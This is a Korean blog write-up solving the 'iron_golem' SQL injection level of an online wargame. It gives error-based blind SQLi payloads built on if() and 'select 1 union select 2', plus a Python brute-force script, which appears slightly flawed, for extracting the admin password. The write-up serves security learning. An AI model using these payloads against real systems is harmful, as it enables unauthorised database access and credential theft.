본문 바로가기

워게임

los rubiya - 21(iron_golem) 풀이

안녕하세요 오늘은 한 문제만 풀고 끝내겠습니다.

 

철 골렘

 

이번 문제는 신기하네요

 

sleep을 막았고 benchmark 함수는 sleep 함수와 같은 역할 한다고 합니다.

더군다나 Hello admin 이라던가 Hello guest가 안 나와서 참 거짓 판별하기 어려울 것 같습니다.

 

 

그리고 admin의 pw을 찾아야만 이 문제가 해결이 되네요. 이번엔 쉬운 거 같네요

blind sqli 인젝션을 이용하면 될거 같습니다. ascii와 substring으로 한 글자 한 글자 찾으면 되겠죠!

 

이렇게 풀어도 되구요 근데 ' 을 입력해 보겠습니다.

 

!!!

 

에러문이 나오네요! SQL의 실행했는데 문법이 오류가 나면 그 오류문이 나오게 되어있습니다.

 

Error based SQLi 공격이 통하겠네요

만약 모르신다면

 

https://mynameisarke.tistory.com/25

 

[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection

안녕하세요! 이번에도 SQL Injection을 공부할 건데요 오늘은 SQL 질의문이 화면에 보이는 곳을 공격하는 연습할 겁니다! 예를 들자면 게시판도 있고 회원 정보(마이페이지), 주소검색 등등 있죠 저

mynameisarke.tistory.com

여기 참고하시면 돼요

 

 

그런데 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 여기서 . 이랑 _ 을 막아서 아무래도 이 공격을 하기엔 힘들 거 같습니다. 그래서 다른 방법으로 공격하려고 합니다.

 

if절을 이용하는 것이죠. SQL 문에서 if을 사용하는 문법은 if(조건문, 참인 경우, 거짓인 경우) 이렇게 사용합니다.

예를 들어볼게요 if(1=1, 0, 1) 이러면 1=1 이 참이면 0을 출력하고 아니면 1을 출력하게 됩니다.

 

그러니 참이면 문법이 맞게 하면 되고 거짓이면 문법이 틀리게 하면 참과 거짓이 판별되겠죠?

 

그러니 select 1 union select 2 을 이용하겠습니다.

 

select 1 union select 2 을 하게 되면 SQL에서는 정상 문법이니깐 출력이 되는데 2줄로 나오게 되어서 에러가 나게 됩니다.

하나의 값만 얻을 수 있으니깐요. 그래서 Error문에 2줄 이상 있어요라고 알려 줍니다.

 

예시는 pw의 길이 값 구하면서 알려드릴게요

 

' OR (id='admin' AND if(length(pw)>0, 1, (select 1 union select 2))) %23

 

이렇게 id가 admin 일때 pw의 길이가 0보다 크면 1을 출력 아니면 select 1 union select 2 실행하게 하겠습니다.

 

 

 

0보단 크죠

 

길이값을 변경하면서 쭉쭉쭉하시다 보면 32에서 에러문이 나옵니다.

 

 

 

1줄 이상 있다. 즉 select 1 이란 select 2 때문에 1이랑 2가 출력이 돼야 되는데 하나밖에 출력을 못하니

이렇게 에러문이 나오게 됩니다.

 

 

이렇게 해서 pw의 길이가 32줄 이라는 것을 알 수가 있죠.

 

그럼 이제 파이썬 코드로 넘어가서 일일이 대입하게 만들겠습니다.

 

공격용 쿼리문은 

' OR (id='admin' AND if(ascii(substring({},{},1))={}, 1, (select 1 union select 2)))#

 

이렇게 하면 되겠죠!

 

그리고 거짓일 때 에러문이 나오니 row 단어를 참 거짓 식별로 하겠습니다. 없을 때 참이니 not in을 쓰면 되겠죠

 

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=irpn27e63or5bdngpo3rbuse04"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "row" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(32) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "pw": blind_query.format(query, s, i)
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value not in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "' OR (id='admin' AND if(ascii(substring({},{},1))={}, 1, (select 1 union select 2)))#" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

실행하겠습니다. pw을 입력하시면 돼요

오래 걸리겠네요..

이진 탐색을 쓰고 싶으나 preg_match 때문에 중간에 오류가 날 수 있어서 그냥 일일이 대입하고 비교하게 했습니다.

 

쿠키 값은 자신의 쿠키 값으로 넣어야 되는 거 아시죠? 공격 링크도 수정하는 걸 까먹지 말아요!

 

 

엄청 기네요

 

 

 

끝!

 

 

 

 

 

 

 

 

 

 

 

'워게임' 카테고리의 다른 글

los rubiya - 23(hell_fire) 풀이  (0) 2023.05.24
los rubiya - 22(dark_eyes) 풀이  (0) 2023.05.23
los rubyia - 19번 20번 풀이  (0) 2023.05.16
los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -14,15,16 풀이  (0) 2023.05.14